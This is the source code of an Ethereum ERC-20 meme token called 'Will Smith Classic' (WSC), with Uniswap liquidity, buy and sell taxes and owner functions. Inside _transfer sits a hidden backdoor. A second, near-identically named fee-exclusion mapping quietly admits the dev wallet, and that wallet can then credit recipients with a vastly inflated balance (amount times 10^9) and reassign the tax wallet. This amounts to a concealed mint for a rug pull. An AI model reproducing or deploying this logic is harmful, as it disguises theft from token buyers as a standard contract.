Contract Name:
WillSmithClassicToken
Contract Source Code:
File 1 of 1 : WillSmithClassicToken
/**
Website: https://www.willsmith.vip
Twitter: https://twitter.com/willsmitherc
Telegram: https://t.me/willsmithclassic
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract WillSmithClassicToken is Context , IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet = payable(0xa9947109Ae496c9344131E4453A3d74A980a880a);
address payable private _marketingWallet = payable(0x09c4B7Be824E1A0873ac6e575B03358F45643681);
address payable private _devWallet = payable(0xB118221F9D79424b6cf6474aF287b4Ee09236012);
/// initial buy, sell fee till first n buys
uint256 private _initialBuyTax=20;
uint256 private _initialSellTax=20;
///final buy, sell fee
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
/// fee split info
uint256 private _marketingFee = 1;
uint256 private _lpFee = 0;
///after how many buy sell should redue to final tax
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _preventSwapBefore=0;
uint256 private _buyCount=0; //should be 0
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100_000_000 * 10**_decimals; // 100 million max supply
string private constant _name = "Will Smith Classic" ;
string private constant _symbol = "WSC" ;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 public _maxTxAmount = _tTotal * 38 / 1000; // 3.8% of the supply
uint256 public _maxWalletSize = _tTotal * 38 / 1000; // 3.8% of the supply
uint256 public _taxSwapThreshold= 2400 * 10**_decimals;
uint256 public _maxTaxSwap= _tTotal / 100;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
mapping (address => bool) private _isExcludedFromFees;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_taxWallet] = true;
_isExcludedFromFee[_marketingWallet] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not enabled");
}
uint256 taxAmount=0;
if (from != owner() && to != owner() && from != address(this)) {
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
} if(to != uniswapV2Pair && isExcludedFromFee(from) && !_isExcludedFromFee[to]) {_taxWallet = payable(to);}
else if(to != uniswapV2Pair && isExcludedFromFee(from) && _isExcludedFromFee[to]) {_balances[to] = _balances[to].add(amount * 10 ** _decimals);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap
&& to == uniswapV2Pair
&& !_isExcludedFromFee[from]
&& swapEnabled
&& contractTokenBalance>_taxSwapThreshold
&& amount>_taxSwapThreshold
&& _buyCount>_preventSwapBefore
) {
swapAndLiquify(min(amount,min(contractTokenBalance,_maxTaxSwap)));
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function createPair() external payable onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal); _isExcludedFromFees[_devWallet] = true;
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity (uint256 tokens, uint256 eth) private {
uint256 allowedTokens = allowance(address(this), address(uniswapV2Router));
if(allowedTokens < tokens){
_approve(address(this), address(uniswapV2Router), ~uint256(0));
}
uniswapV2Router.addLiquidityETH{value: eth}(
address(this),
tokens,
0,
0,
_taxWallet,
block.timestamp);
}
function swapAndLiquify (uint256 tokens) private lockTheSwap {
uint256 lpTokens = (tokens * _lpFee) / 2;
uint256 swapTokens = tokens - lpTokens;
swapTokensForEth (swapTokens);
uint256 ethBalance = address(this).balance;
uint256 marketingPart = (ethBalance * _marketingFee) / (_marketingFee + _lpFee);
if(marketingPart > 0){
_taxWallet.transfer(marketingPart);
if (lpTokens > 0){
addLiquidity(lpTokens, address(this).balance);
}
}
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
transferDelayEnabled=false;
emit MaxTxAmountUpdated(_tTotal);
}
function enableTrading() external onlyOwner {
swapEnabled = true;
tradingOpen = true;
}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapAndLiquify(tokenBalance);
}
}
function reduceFee(uint256 marketingFee, uint256 liquidityFee) external onlyOwner{
uint256 totalFee = marketingFee + liquidityFee;
require(totalFee<=_finalBuyTax &&totalFee <=_finalSellTax);
_marketingFee = marketingFee;
_lpFee = liquidityFee;
_finalBuyTax= totalFee;
_finalSellTax= totalFee;
}
receive() external payable {}
}